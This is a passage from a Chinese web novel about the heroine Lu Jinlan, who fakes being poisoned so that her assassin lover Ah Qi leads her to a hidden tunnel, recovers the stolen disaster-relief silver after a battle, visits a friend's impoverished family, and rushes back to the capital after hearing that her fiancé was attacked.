十三擦了擦眼泪,“就是这样,是我亲耳听见的,她们已经在密谋何时动手了。两位将军,快想想办法,救救我师傅,救救我那些还在看管银子的同门。” 凌夏气急败坏的抽出宝刀,怒道:“事已至此,咱们反了算了!” “不可!”程袁卿忙道:“你让我想想。” 程袁卿沉思片刻,“她们要来抢,也得有本事抢。那点府兵,不够咱们凌家军的战马踩一脚的,想必是向隔壁的宋婧骁借兵了。” 凌夏道:“大皇女有这么大面子吗?宋婧骁肯借兵给她?” “你忘了?陆锦澜就快成为宋婧骁的儿主了,人家是一家人。她要是想借点兵马用一用,宋婧骁怎么会拒绝?” “她爹的!我知道陆锦澜这个家伙要坏我们的大事,早就该弄死她。现在可好,她要弄死我们。” 程袁卿深吸一口气,“现在弄死她,也不晚。眼下,我们现在要立刻准备三件事。第一,派精锐增援大青山;第二,将这里发生的一切密报给两位主子;第三,让宫师傅立刻给阿七下死命令,明天太阳下山之前,必须除掉陆锦澜。” 十三愣了一下,开始替阿七担忧。如果阿七下不去手,那么要送命的就是他的七哥了。 * 当晚,各处都静得出奇,一切都仿佛是暴风雨前的宁静。 陆锦澜和阿七早早躺下,却都有些睡不着。 陆锦澜忽道:“这里的事情快结束了,等一切尘埃落定,你随我回京城。” 阿七一笑,“随你回京城又能怎样?难道你能娶我吗?” 话一出口,他便有些后悔。他也不知道自己为什么要这么说,明明心里盼着有朝一日能嫁给她,嘴上却说这些言不由衷的话。 陆锦澜没有回答,黑暗中她的沉默,让阿七的心又沉了下去。 他尴尬的笑了笑,找补道:“我开玩笑的,你别生气。” “我娶你。”陆锦澜笃定的允诺。 “什么?” “我可没开玩笑,你随我回京城,我娶你。” 阿七愣了一下,心脏猛烈的跳动着。 他忽然坐了起来,“那你能不能现在就娶我?” 陆锦澜笑道:“现在?现在怎么娶?纳郎虽然没有婚礼,好歹也得布置一下新房,定个日子,交换个信物什么的。” “不,就现在吧。今天就是个好日子,我一刻也不想等,你现在就给我个名分。应子就行,可以吗?” 陆锦澜无奈道:“好吧,那你叫我一声妻主,咱们就算礼成。回头,我给你补个信物。” “妻主。”温热的唇在她耳边蹭了蹭,“妻主,是不是洞房才算礼成?” 陆锦澜笑了笑,低声道:“天底下哪有你这般主动的小郎?” “你不喜欢?” 陆锦澜抿了抿唇,“喜欢。” 阿七笑着含住她的唇,轻飘飘像做梦一样。 他觉得,他可能就快死了。能够嫁给陆锦澜,是上天给他的断头饭。 他想,我这一辈子太苦了,但死之前能在她心里有个位置有个名分,也算上天待我不薄。 只是,如果快乐的时光能够再长一些就好了。 清早急促的敲门声,打破了阿七的美梦。 项如蓁在门外催道:“锦澜,快起来。出大事了,殿下命咱们速速过去。” 陆锦澜飞快的出门去了,他想抱她一下都来不及。 不久后,师傅悄无声息的出现在他面前。 第57章 “师傅。”阿七紧张地站了起来。 宫师傅淡淡的看了他一眼,递给他一包药。 “把这个下到陆锦澜的饮食里,亲眼看着她服下去。” “这是什么?” “你别管。日落之前,带着陆锦澜的死讯到大青山向我复命。” 阿七拿着那包药苦笑了一下,“如果我失手了呢?” 师傅摇了摇头,“我看着你长大,比你自己还了解你。你不会失手,只看你想不想做。” 阿七深吸一口气,“师傅既然比我自己还了解我,自然知道我不想做。” 宫师傅冷笑一声,“没错,我知道你不想,但这由不得你。” 她说着将一个染着血迹的布包丢到他面前,“打开看看。” 阿七狐疑的掀开一看,不忍的闭上了眼睛。 布包里,裹着一只被活生生砍断的小拇指。 宫师傅悠然道:“这是十三的手指,十三这孩子是你们之中最蠢的,但他以为自己很聪明。以为很多事,他不和我说,我便看不出来。他想提前给你报信,让你逃走,可惜他眼珠子一转我已经知道他要做什么了。” 阿七绝望的跪了下来,“师傅,您放了十三吧,让我替他死。” 师傅捏住他的脖子,冷声拒绝:“不行,我不要你的命,我要你除掉陆锦澜。日落之前,用陆锦澜的死讯换你和十三的自由身。否则,你们都得死。” * 陆锦澜和项如蓁赶到的时候,赵祉钰正在屋里骂脏话。 二人脚步一滞,在门外停下。陆锦澜向一旁的于继芳打听,“殿下不是心浮气躁的人,她这是怎么了?” “唉,一言难尽……” 于继芳刚要开口,里面忽道:“进来说。” 三人连忙进去,赵祉钰揉了揉眉心,无奈道:“监视大青山的人刚刚回来报告,天一亮北州大营向大青山派兵增援。” 项如蓁道:“这不正是咱们期望的吗?咱们的人有没有追踪到地道的位置?” 赵祉钰摇头,陆锦澜怪道:“没有?怎么可能呢?” 于继芳解释道:“因为程袁卿十分鸡贼,她之所以选择白天派兵而不是夜晚派兵,就是不想火把暴露位置。她一大早出动了三万兵马围着大青山操练,到处都是凌家军,负责监视的人根本无法靠近。这些兵马掩护增兵进入大青山,等她们完全消失后,队伍才拉回大营。” 陆锦澜磨了磨牙,“这个程袁卿有点脑子啊,一路被咱们牵着鼻子走,现在终于知道防范了。” 赵祉钰道:“找不到地道的踪迹就是师出无名,就算宋将军带着援军来了,也很难插手。” 正说着,晏无辛回来了。 她喜道:“恭喜殿下!宋将军同意借兵,此时三万兵马已经在州界附近埋伏。等咱们一发信号,她们即刻就到……哎?你们怎么愁眉不展的?” 大家把情况一说,晏无辛道:“这个藏匿地点一定是她们千挑万选,准备了很久的,肯定没那么容易被咱们查到。唉,要是有个人能把咱们带到地道门口就好了。” 众人扶额托腮各自沉思,直到图灵快步进来,急道:“殿下,宫师傅 刚刚来找过阿七,听着……好像是让他下毒,毒死陆大人。” 赵祉钰看了眼陆锦澜,“到了这个时候,阿七已经没什么用了,这样的毒夫不可留在你身边。交给我严刑拷打,或许他还能招出点什么。” 陆锦澜忙道:“别!请殿下容我想想。” 赵祉钰劝道:“你不要有男人之仁,你喜欢阿七这样的,以后我可以帮你找,但他终究是凌家的人,留不得。” 陆锦澜沉思片刻,“如果他能带我们找到密道,殿下能否放他一马?” 赵祉钰想了想,“我记得你说过,他不会为了他的主子害你,但也不会为了你害他的主子。” 陆锦澜:“我自有办法。” 见陆锦澜如此自信,赵祉钰便答应道:“好,如果他帮我们找到地道,此案告破后,我就当从没见过阿七这个人。所有的卷宗记录,不会涉及他一个字。” * 陆锦澜站在门外,心情有些复杂。 她再三和系统确认,解毒丸能解一切毒药。 于是她兑换了一百颗解毒丸,进门前先吞了三五十颗。打算一会儿服毒的时候,再同步吃点解毒丸。如果服完毒感觉不对劲,那就把剩下的也全塞嘴里。 她就不信了,三百六十度解毒,什么毒都别想毒死她。只是希望解毒丸这玩意儿,没有什么副作用。 想到这里她大力推开了房门,阿七连忙擦了擦眼泪,“回来了?” 陆锦澜假装没看到,“嗯,累死了,快给我倒杯茶。” 赶紧,她怕解毒丸过时效了。 陆锦澜躺在床上闭了眼,故意给阿七留出操作的空间。可她等了一会儿,还是没动静。 陆锦澜只好坐起来催促,“茶呢?” “马上。”阿七背对着她,将一包白色粉末倒入了杯中。 陆锦澜见他迟迟不肯端过来,干脆自己起身坐到桌边,主动拿起茶杯。 “等一下!”阿七忽然拦住她,“有……有点烫,等会儿再喝。” 陆锦澜笑着摸了摸杯壁,“不烫啊。” 她指了指窗边案上的点心,“我有点饿了,把点心拿过来吧。” 阿七一转身,她连忙丢几颗解毒丸在嘴里,在他端着点心走过来的时候,当着他的面端起茶杯喝了一口。 阿七一怔,站在那里定定的看着她。 陆锦澜招了招手,“过来啊。” 阿七僵硬的走近几步,小心的查看着她的神色。 陆锦澜若无其事的捏了一块果子吃了一口,“今儿这点心味儿有点不对,咳,咳咳……” 她忽然咳嗽起来,咳得满脸通红弓下了腰,从凳子上摔了下去。 阿七大惊失色,慌道:“你怎么了?你别吓我!” 陆锦澜嘴角、手上都是鲜血,她艰难的指了指那杯茶,“茶有毒……七郎,你好狠的心。其实……我早就知道,你就是那天的刺客,可……可我想不到你真的要我死……” “不!我没有要你死!我没有!” 看着陆锦澜痛苦的样子,阿七瞬间泪如雨下。 他抱着她,不可置信的看向那杯茶,百般不解,“你怎么会中毒呢?那不是师傅给我的毒药,那是我的迷药。我只想带你走,我们什么都不管,离开这里。只是迷药而已,你怎么会变成这样?” 陆锦澜心里慌了一下,她也没想到事情会是这个走向。但事已至此,她只好继续坚持自己中了毒。 “呵,迷药?那只是……你以为迷药。” 阿七恍然大悟,哽咽道:“难道……师傅趁我不注意换了我的药?可是……可是她是什么时候做的手脚,我怎么全然不知道?” 陆锦澜凄然一笑,“别去想了,那会白白浪费时间的。” 阿七鼻子一酸,“你不要怕,我和你一起死。” 他飞快的伸手去拿那杯茶,陆锦澜手疾眼快连忙撞过去打碎茶碗,“不要做傻事!我……我还没死,我功力深厚,已经用内力封住了穴道。如果……如果有解药,或许我还能活,我们还能在一起。” “解药?”阿七痛苦的摇了摇头,“解药在师傅那里,她恨你入骨,不会给咱们的。” 陆锦澜道:“我和她……又没有私仇,她如果救我,我便告诉她一妙计破解凌家军当下的困局。她要我死,无非是怕我妨碍她们的事。但只要她救了我,我从此和你天涯海角流浪去,不会再招惹这些是是非非。” 这套说辞对阿七极具诱惑力,他几乎无暇细想,擦了把眼泪,果断道:“我现在就带你去找师傅!她救你,我们就一起生。她不救你,我们就一起死。” 陆锦澜虚弱的点了点头,阿七连忙将她背到背上,翻窗出去。 躲在暗处的晏无辛擦了擦不存在的眼泪,“太感人了,锦澜真应该去台上唱戏。” 项如蓁:“别贫了,我带人跟上,你去通知殿下。今日无论谁胜谁败,都必有一场血雨腥风。” * 阿七一路快马加鞭,带陆锦澜到了大青山脚下。 他应该来过很多次,对这里的地况非常熟悉。他背着陆锦澜走了一条小路上山,路上不停的和她说话,生怕她坚持不住。 阿七:“快到了,再坚持一下,你现在觉得怎么样?” 陆锦澜:“可能是回光返照,我现在感觉没那么难受。” 她不敢再使劲儿演了,害怕一会没法收拾,虽然现在……已经没法收拾了。 穿过一片密林,阿七将陆锦澜放在树下,搬开一块不起眼的山石,拧动隐藏起来的机关,地道的入口缓缓出现。 如此隐秘,就算真的搜山,也很难找到。 陆锦澜暗叹一声,放出了手中的信号弹。 嘭!在火药的催动下,绿色的烟火升入高空。 阿七听到这一声响动,缓缓回过头,他发现原本虚弱的靠在树下的陆锦澜站了起来,除了嘴角残存的血迹,她看起来一切如常。 她那么从容,那么冷静,仿佛一切都在她的掌握之中。 阿七下意识的后退了半步,随后又像从未见过她那般,目不转睛的盯着她。 他的嗓子像被什么堵住了,声音艰涩,“你骗我?你一直都在骗我?” 陆锦澜无奈道:“七郎,你冷静一下,事情不是你想的那样。” 阿七摇了摇头,“你骗了我,还利用我,我不要再听你的花言巧语,我要杀了你!” 他拔出匕首扑了过来,陆锦澜一把握住他的手腕,直视着他发红的眼睛,缓缓开口:“可你也有骗我的时候。我问你,你伪装身份接近我,所说的每一句话都是假话吗?我们好了这么多天,那些恩爱缠绵是逢场作戏还是出自本心,你能分清吗?” 阿七咬了咬牙,没有回答。 陆锦澜道:“我告诉你,我分不清。” 阿七声音颤抖,哽咽道:“你对我,到底是不是真心喜欢?” 陆锦澜反问:“你觉得呢?” 阿七摇了摇头,“我不知道!你把我骗得团团转,你哪句是真的哪句是假的,我根本无从分辨!” 陆锦澜突然松开他的手,“如果你觉得我对你没有一丝真心,现在刺下来。用我的命,向你师傅证明你的忠诚。” 阿七紧紧握着那枚匕首,眉心攒动,泪像血一样从赤红的双目中滚落下来。 “你明知道我做不到,为什么要逼我?你们为什么……都要逼我?” 他痛苦的跪在地上,泪流不止。 陆锦澜将无助的阿七抱在怀里,温声安抚:“听我说,昨晚的话我没有骗你,我是真的希望你能随我回京城,我也是真的想要娶你。昨晚我已经娶了你,不是吗?” 可是阿七不明白,“那你为什么要把我骗到这里?” “因为这里的事情必须要结束,只有一切都结束,我们才能有新的开始。” 阿七摇了摇头,“我现在心里很乱,我什么都没办法想。” “那就什么都别想,你听我的。现在开始,这里的事情你不要管,立刻下山,不要告诉任何人你的行踪你的身份,就当世界上再也没有阿 七这个人。你不再属于你的主子,你自由了。好好躲几天,等风头过去,去京城找我,记住了吗?” 阿七勉强点了点头,“我能不能下去一趟?十三还在师傅手里,他是为了我才被抓的。我不出现,师傅会杀了他的。” 远处已经传来了激昂浑厚的马蹄声,陆锦澜果断道:“不行!时间来不及了,宋家军马上就到,这里会大乱。十三就是那个杂役,对吧?我知道他长什么样。你先下山,我帮你把他救出来,你相信我。” 阿七艰难的点头,“好,我信你。如果你能把他救出来,让他到老地方找我。” “那你现在就走。”陆锦澜帮他擦干眼泪,安抚的亲了下他的嘴角,“快走!” 阿七重新拾起匕首,走出几步,又回头叮嘱道:“你千万要小心!” 陆锦澜笑着点了点头。 阿七很聪明,他从另一个方向下山。而二人上山时走的那条小路,很快挤满了人。大家看到信号发出,立刻沿着陆锦澜留下记号追了上来。 项如蓁带着她们从京城带出来的两百精兵最先赶到,紧接着,宋婧骁麾下的副将岳蝉带着八千骑兵奔袭到此。 那条小路,很快被踩成大路。两旁的植物被踩踏倒下,低矮的树木被彻底砍断。先头部队势如破竹,迅速为大部队开辟了一条宽敞的通道。 强援已到,陆锦澜将袖子里的血包丢在地上,“走,下去会会她们。” 她和项如蓁带着两拨人马进了地道,进去没多远,便遇到了一左一右两条分叉路。 两人分头行动,继续向前推进,很快便遭遇了小股抵抗。然而对方措手不及,人数也不如她们多,根本不是她们的对手。 陆锦澜这边抓了一些人,让岳蝉派人看管,她继续往里走。 路过一个房间里时,听见里面的惨叫,陆锦澜一脚踢开房门,见十三正被绑在木桩上鞭打。 “住手!”陆锦澜抢过行刑人的鞭子,一脚将其踹开。旁边冲过来的两个人,也被她啪啪两掌震到墙上,动弹不得。 她用锋利的匕首砍断绳索,言简意赅道:“十三,我答应阿七要救你。你怎么样?还能不能走?” 十三咬牙道:“没……没事,都是皮肉伤。” 虽说都是皮肉伤,但他浑身都是血,估计身上没一块好地方。 陆锦澜正想着怎么把他送出去,刚才被她踹到一旁的人忽道:“陆大人,我们又见面了。” 陆锦澜定睛一看,略有印象,应该是北州大营里面的某个校尉。约谈的时候见过。 那校尉痛苦的捂着胸口,不屑道:“我还以为你多正直,原来和我们一样,也会偏私。你私纵人犯,被人知道一样是重罪。不要以为有个好岳母就可以一路向上爬,我一定要揭发你。” 陆锦澜冷笑一声,“是啊,我常有偏私的时候。但咱们可不一样,你们为了一己之私,害死北州多少无辜的性命。而我的偏私,不过是救人一命。至于你要告我,你觉得,我会让你活到开口的时候吗?” 那校尉眼中划过一丝惊慌,“你要灭口?你我同是校尉,我还没过堂,我的证供你还没拿到,你怎可杀我?” 陆锦澜回头看了眼一直紧跟着她的岳蝉,还有岳蝉身后率领的一批宋家军精锐。 陆锦澜低声道:“带过来的人,都可信吗?” 岳蝉看了那校尉一眼,朗声回道:“请大人放心,知道要跟您办事,挑选的都是心腹。另外,临走时宋将军叮嘱了我一句,她说‘宋家军此时姓宋,以后姓陆’。所以,什么该说什么不该说,谁是主子谁是外人,姐妹们心里有数。我等虽是嬅将,也是家臣,您无需担心。” 陆锦澜舒心的点了点头,随手拔出岳蝉的佩刀。她摸着锋利的刀刃,笑吟吟的走向那名校尉。 “今日北州城内,数得上号的凌家军将领都会被抓,少你一个人的口供无伤大雅。你这人说话我很不喜欢,但你有一句说对了,我确实有个好岳母。” 陆锦澜唰唰两刀结果了三人的性命,随手将十三推给岳蝉,“找人送他下山,不要被人发现。另外大家统一口径,这三个人是因为拒捕被杀的。” 十三早就看傻了眼,陆锦澜伸手拍了拍他的脸,眼神狠戾道:“包括你,不准多嘴,知道吗?” 十三吓得点头如捣蒜,陆锦澜道:“阿七在老地方等你,去吧。” 陆锦澜运气好,刚让人将十三送走,便误打误撞找到了赈灾银。 几百箱官银堆满了好几个房间,陆锦澜忙道:“派人看好,另外去告诉项大人,赈灾银找到了。” 话音未落,几个伤兵慌慌张张的跑过来,“陆大人,项大人遭遇了大批凌家军,有两三千人,我们顶不住了!” 陆锦澜气道:“废物!顶不住也不能把她自己撂那啊,人在哪儿?” 陆锦澜顺着伤兵指的方向冲了过去,只见一个圆形大厅里有上千凌家军在负隅顽抗。 而项如蓁正在战圈里,和宫师傅打得十分凶险。 这个姓宫的,不愧是凌氏姐妹重金聘请的杀手教练,内力浑厚出手狠辣。 陆锦澜对项如蓁道:“你歇一会儿,让我来对付她。” 项如蓁让开位置,宫师傅立刻攻了上来,陆锦澜举掌相迎。两人内力相撞,周身空气都激荡起来,震得彼此手腕生疼,俱是退开了七八步。 姓宫的大为震惊,想不到陆锦澜小小年纪能有这么深的内力。怎么回事?她一天练十二个时辰日夜不休吗? 宫师傅咽下喉咙里的腥甜,咬牙道:“小崽子,算你有点本事。” 陆锦澜立刻回嘴:“老东西,你也凑合。” 她嘴上不服,却转头对项如蓁道:“咱俩一起上!” 二人合力刚过了几招,晏无辛带着外围的凌家军从出口方向杀了进来。刚到这儿,便见陆锦澜在半空中一掌击中宫师傅的胸口。姓宫的呕血不止,昏了过去。 陆锦澜立刻高声道:“凌家军听着!你们大势已去,不要挣扎了。放下武器,还有活命的机会。” 唉!人群中不知谁叹息了一声,刀剑哐啷啷落地,大局已定。 在她们攻下大青山的时候,宋婧骁已经带着两万兵马接管了北州大营,赵祉钰也擒住凌夏,顺利接管了守备处。 人证物证俱在,接下来便是漫长的审讯、过堂、定案,急报送进京城,等待皇上的指示。 不过这部分繁杂的文书工作,三人都没怎么参与。赵祉钰见她们意愿不大,便全数交给崔明菲、于继芳等人办理。 三人忙里偷闲,终于有空好好休息一下。项如蓁道:“我已经跟殿下打了招呼,我明日早起回家一趟,晚饭时候再回来。” 项如蓁的家在隔壁勉州,快马半日便可来回。 陆锦澜心血来潮,“那我们也顺便去你家拜访一下吧,好不容易到了附近,以后只怕没这个机会了。” 项如蓁想了想,“也好,那咱们明天吃完早饭就出发。” 第二日,三人迎着朝阳赶往勉州。一路上欣赏着北地辽阔的秋日风光,没多久便赶到了一处破败的农家小院门前。 晏无辛虽然做足了心理准备,但当她确认这是项如蓁的家时,还是狠狠的震惊了一下。 陆锦澜还好,毕竟她活了两辈子,参与过扶贫工作,见多识广。但项如蓁的家,确实比她见过最穷的贫困户的房子还破。 项如蓁的爹四十多岁,眼睛不好,几乎半盲,怀里还抱着一个一岁多的奶娃娃。 听到如蓁回来,她爹非常高兴,“你娘昨儿带着你三个妹妹进山打猎了,可能明天才能到家。你大哥、二哥还在崔大人家伺候,半个月没回来了。” 陆锦澜一听,暗自感叹:更像贫困户了,又穷又爱生,极其典型。 项如蓁对她爹道:“没事,我在北州办事,顺便回来看看。过年的时候会再回来的,到时候都能见到。” 她说着撸起袖子,“我去把院子收拾收拾,你俩坐会儿。” 她爹高兴道:“还带了朋友回来? 好啊,你难得交到朋友。” 陆锦澜和晏无辛连忙放下手里的各式礼品,自己去跟老人家做自我介绍。 她爹问道:“你们是如蓁的同窗还是朋友?” 陆锦澜道:“是同窗,也是朋友,是好朋友。” 她爹笑了笑,“她性子犟,还死心眼儿,一定给你们添了不少麻烦。” 晏无辛笑道:“没事儿,我们也不是什么好人,互相麻烦吧。” 陪老人家说笑了一会儿,项如蓁她爹便将孩子哄睡,将项如蓁赶到屋里,他去做饭。他眼睛虽然看不见手脚却很麻利,炒菜切菜十分熟练。 二人想出去帮忙,都被撵了回来。三人便围着摇篮里熟睡的孩子,低声说话。 晏无辛实在忍不住打听,“你家这么多孩子都是你爹生的?” “不是,我娘有个小郎,有两个妹妹是小郎生的。不过前几年,那个小郎病逝了。” 陆锦澜暗想:生五个也不少了。而且这个年纪还敢生,那是大龄孕夫。这个条件这个医疗环境能活下来,简直是钢铁一般的体质。怪不得如蓁天生神力,大约她们家的基因都有点邪性。 如蓁她爹炖了只鸡,热气腾腾的鸡汤一上桌,不知是不是热气熏得,棚顶摇摇欲坠的墙皮啪嗒掉下一块,精准的落到汤里。 老人家看不见,项如蓁还在外面洗黄瓜。晏无辛瞬间呆住,她这辈子还没吃过这样的饭。 陆锦澜忙摆了摆手,示意晏无辛不要吭声。她连忙将用汤勺将墙皮舀出来,还没来得及找地方倒掉,项如蓁已经进屋了。 陆锦澜只好默默地盛到自己碗里,“哈哈,我爱喝鸡汤。” 晏无辛看着她又盛了几勺,只好带着僵硬的笑意硬着头皮说:“分我点吧,我也爱喝。” 项如蓁愣了下,“锅里还有。” 晏无辛:“不,我就爱抢别人碗里的。” 吃完饭,三人便要回去了。临走时,陆锦澜和晏无辛凑了凑身上的现银,塞了两百两银子给如蓁她爹,“这是我们小辈孝敬您的,您一定要收好。” 她爹推拒道:“这怎么行?你们还在上学,哪来的钱啊。大家都不容易,咱家不讲究这个。” 项如蓁笑了笑,难得应允:“收着吧,你不收,她们也会想办法留下的。” 走之前,项如蓁将家里收拾妥当,这才上马。 三人一同赶回北州,京里很快传来旨意。圣上先封赏了于继芳,给她官加一品,俸禄翻倍。其她有功之人,回京另行封赏。 找回的四十万两赈灾银给北州留下一半,其余运回京城。主要人犯押解进京,其余人等,着于继芳按律处理。 北州城内的凌家军暂交由宋婧骁辖制,待全部结案后,再行处置。 赵祉钰十分高兴,她首次出来办差,便大获全胜。启程回京时,依诺将汗血宝马给了陆锦澜。 队伍浩浩荡荡的朝京城进发,三人一路说说笑笑,心情和去时完全不同,堪比游山玩水,格外畅意。 直到行至中途,一匹快马迎面冲向队伍,“少主!少主!家里出事了!” 卫兵连忙将她拦住,陆锦澜定睛一看,来人正是洗墨。 她忙道:“放她过来,此人是我的管家。” 洗墨下了马,飞奔到陆锦澜跟前,上气不接下气道:“少主,宋公子遇刺了!” 陆锦澜心头一紧,“什么?”—— 作者有话说:北州副本收尾,所以写长了点,我真是太想进步了。 第58章 洗墨道:“四日前的晚上,有几名蒙面刺客夜闯咱家意图刺杀宋公子。” 陆锦澜忙问:“那凛丞他……他有没有出事?” 洗墨赶紧摇了摇头:“宋公子受了点轻伤,但不致命。” 陆锦澜松了口气,无奈道:“下次先说结果,你要吓死谁啊?在这儿等着,我去和殿下禀明情况。” 项如蓁和晏无辛也在一旁听着,干脆跟她一起上了赵祉钰的马车。 陆锦澜将事情一说,赵祉钰便问:“你觉得是谁干的?” 陆锦澜冷笑一声,“想必又是凌家的手笔,我看凌氏姐妹真是恨上我了,我跟她们素未谋面,她已经派人刺杀我多次。眼看杀不了我,为了破坏我的婚事,又派人对我的未婚夫下手。我何其有幸,凌侯君和凌太尉两位举足轻重的人物,竟然和我杠上了。” 晏无辛道:“咱们在北州,一下子就害她们损失了十万凌家军。本来凌家和宋家就是死对头,现在她们属于是新仇旧恨一起算了。” 项如蓁道:“匹妇无罪,怀璧其罪。你还未接管宋家军,已经锋芒毕露。她们大约是怕你将来手握重兵和她们作对,所以干脆趁你羽翼未丰,想将你扼杀在摇篮里。” 陆锦澜冷哼一声,眼底流露出一丝狠绝,“可惜,我不是任人宰割的平庸之辈。” 赵祉钰拍了拍她的肩膀,“锦澜,你已经身处在漩涡之中,要习惯与人为敌,更要学会隐忍。凌家势大,眼下无人能将其撼动。但我可以告诉你,我们一定能看到凌家倒台的那天。” 陆锦澜点了点头,郑重道:“那等到了推倒凌家的时候,请殿下一定叫上我。不管谁和凌家对着干,我一定要帮帮场子。” 项如蓁也道:“身为国之重臣,公然谋取私利草菅人命,如此不择手段,早该被查办清算。如果有那个时候,也请殿下叫上我。” 晏无辛默默举了起手,“那也叫上我吧,我就爱凑热闹。” 大家笑了笑,陆锦澜忽然想起一事,她对赵祉钰道:“有件事,我一直忘了问您。咱们上次去定北侯府做客的时候,凌家人知不知道殿下的身份?” 赵祉钰叹了口气,“想必你们也知道,凌侯的正夫是母皇的亲弟弟,算起来我该叫她一声舅母。然而,皇家亲情淡薄,亲眷之间并不像寻常人家那样走动频繁。” “为了安全考虑,皇女们在深宫长大,成年前鲜少见外人。我和凌照人是表姐妹,她都不认识我。按说,不知者不怪。可是定北侯却是认识我的,我第一次送凌照人到侯府,她在暗处看着,她以为我没看见她,其实我瞧见了。” 项如蓁一愣,“那请咱们到府上那天,她还那般……” 赵祉钰苦笑,“是啊,她明知道我是皇女,还非要那般羞辱咱们。所以那天,我才会动怒。她最想羞辱的是我,你们大概是受了我的连累。” 晏无辛道:“如此无视皇权,只怕市井传言是真,凌家真有不臣之心。” 赵祉钰轻蔑道:“这份心思凌家早就有了,但真要动手,也要看她们有没有那个本事。” 赵祉钰的目光又看向陆锦澜:“我比你更恨凌家,但在时机到来前,我们只能打落牙齿和血吞。眼下凌家虽然视你为眼中钉,但你也不用太过担心。你和宋将军都忠于母皇,我会站在你这边,母皇也会想办法暗中保护你和宋公子。你想提前回去就回去吧,汗血宝马日行千里,你很快就可以见到他了。” 陆锦澜拱手道:“多谢殿下!” 三人跳下车,陆锦澜吩咐洗墨跟着队伍走,到了京城把她带回来的几大箱子北州土仪带回家。而她自己则要轻装上路,先行回京。 项如蓁帮她将佩剑系在马上,低声道:“虽然我一向不喜欢说些肉麻的话,但思来想去,还是应该跟你说一次。我永远站在你这边,不管你和什么样的势力对着干,只要你不造反,我都站在你这边。” 陆锦澜笑道:“有你这样的强援,我有何惧哉?” 晏无辛笑道:“那我也有一句话要讲。” 她四下看了看,见左右无人,在陆锦澜耳边悄 声道:“你知道我不像如蓁那么有原则,就算你要造反,我也站在你这边。” 陆锦澜笑着摇头,心说:我吃饱了撑的,闲着没事儿造什么反啊。 她飞身上马,“两位,咱们京城见。” * 辞别众人,陆锦澜一路快马加鞭昼夜兼程,五日的路程,她只花了一天一夜便赶到了京城。 然而她到了城门跟前,已经是深夜子时。一路上光顾着赶路,直到看见紧闭的城门才想起来晚上有宵禁。 陆锦澜勒住她心爱的宝贝马,朝城墙上看了看。城楼上值夜的卫兵听到声响,也正举着火把看她。 陆锦澜拱了拱手,商量道:“诸位军娘,我家里有急事,可否开一下城门,让我进去?” 上面的人不客气道:“你以为这是你家大门呢?说开就开,说进就进。有急事也得等到天亮,卯时开门,你先找个地方待着吧。” 陆锦澜咬了咬牙,不得不搬出点儿名头,“我是随钦差奉旨办案的骁骑校尉兼特派使,因家中变故提前回京,你们最好让我进去。” 余下的话陆锦澜没说,但上面也听出威胁的意味,态度恭敬道:“那请校尉大人稍等,我去通报一声。” 不多时,值夜的头目往下探了探脑袋。那人身型高瘦,长脸尖下巴,往城墙上一靠,像只大螳螂。旁边的人介绍道:“这是我们的门吏,罗大人。” 陆锦澜从怀里摸出钱袋,“罗大人,请行个方便,这点银子给姐妹们拿去喝酒。” 罗大人摇了摇头,“校尉大人,我等看守城门,不能饮酒,你的好意我们心领了。听说你是随钦差奉旨出京的,但我不妨告诉您,多少奉旨回京的大人都被我们挡在门口。城门夜间轻易不能开启,除非有战报或者有要您即刻进京不得耽误的圣旨。否则,你就是随皇上出京办事,我也不能给您开这个口子。” “还真难说话啊。”陆锦澜嘀咕了一句,又开始晓之以情,“诸位,别这么较真。我未婚夫被刺客伤了,我急着回去看他。这样,你们今晚放我进去,改日我大婚,请诸位喝喜酒如何?” 罗大人油盐不进,“校尉大人,不是告诉您我们不喝酒吗?酒色误人,您也少沾些吧。” 陆锦澜都被气笑了,在北州办案时都没觉得这么难搞。按理说,门吏是七品官。陆锦澜是四品,论品级,陆锦澜比她大。但无奈人家是恪尽职守,压根不怕你后续找麻烦。 酒色不沾,钱也不心动,权也不惧,一个小小门吏,还真是让她开了眼了。 陆锦澜骑着马徘徊片刻,自言自语道:“行,算你厉害。今儿我陆锦澜还真没辙了,告辞。” “等一下!”罗大人突然叫住她,“你说你叫陆锦澜?” 陆锦澜一愣,“对啊。” 罗大人一拍大腿,“您早说啊!快开城门!” 陆锦澜心说:这是遇到粉丝还是某位故人?可我不记得在哪里见过她啊。 这人也是怪,刚才她嘴皮子都快磨破了,死活不肯开,一听到她的名字忽然就开了城门。 陆锦澜连忙下马,刚进了城门,那位罗大人急匆匆从城楼上下来,扑通一声跪倒在她面前,“小的罗大莉,不知是陆大人到此,刚才多有得罪。” 陆锦澜赶紧去扶她,“罗大人快快请起,你这是干什么?” 罗大莉激动道:“大人有所不知,下官是北州长胜县人。北州旱情如火,我们长胜县的母姥乡亲日子过得十分艰难。” “我虽然知道这次朝廷又派了钦差前去,可也没敢抱什么希望。可前些日子收到家书,说家里的户籍凭证有破损,多亏了您仗义执言不怕麻烦,我家里才能领上赈灾银。” “我家的好多亲戚都喝到了您家粥棚施的粥,我妹妹在信里一个劲儿的夸您,都说幸亏有您,北州的百姓才能那么快领到赈灾银。好多人家里,就等着这钱买米买药呢。” “陆大人,我这人有点怪。朝廷动不动表彰这个官儿那个官儿的,名头起的天花乱坠,我是不信的。可我相信让老百姓赞不绝口的官,一定是好官。您在北州的善举,对北州人来说是大恩。我替乡亲们,给您磕个头。” “哎呦,快起来!”陆锦澜忙道:“不必多礼,都是我应该做的。为百姓服务么,不然我去干嘛?” 她看罗大莉应该比她年长几岁,她在这个世界生活了大半年,已经懂得了偏远地区出身的人,在京城做官的含金量。尤其是去过项如蓁家里后,更懂得了寒门学子的不易。 罗大莉老家在贫困的北州小县,竟然也能对钱毫不心动,更让陆锦澜礼敬三分。 她百感交集的拍了拍罗大莉的肩膀,“多谢你放我进来,等我大婚的时候,给你送喜帖,你可一定要来喝喜酒啊。” 罗大莉尴尬道:“那是自然。刚才那话是说给外人听的,别的酒不喝,陆大人的喜酒我一定要喝。” 这次意外,让陆锦澜疲惫全消。大半夜的,街道上一个人都没有。陆锦澜纵马狂奔归家去,心情格外快意。 家里的门子正在门房酣睡,被她急促的拍门声吵醒。 “谁啊?” “我,你家少主。” “哎呦!您怎么在夜里回来了?”门子连忙爬起来开门。 陆锦澜将马鞭丢给她,“赶紧把我这马牵到马棚好好喂一喂,它可累坏了。” 门子一叠声应着,又有几个老仆闻声出来,跟在陆锦澜身后询问:“少主,您要不要吃点东西?我们这就给您准备热水,您住哪个院子?” 陆锦澜扯了扯披风的系带,“不用麻烦了,我先对付一晚上,明早再说。宋公子呢?” * 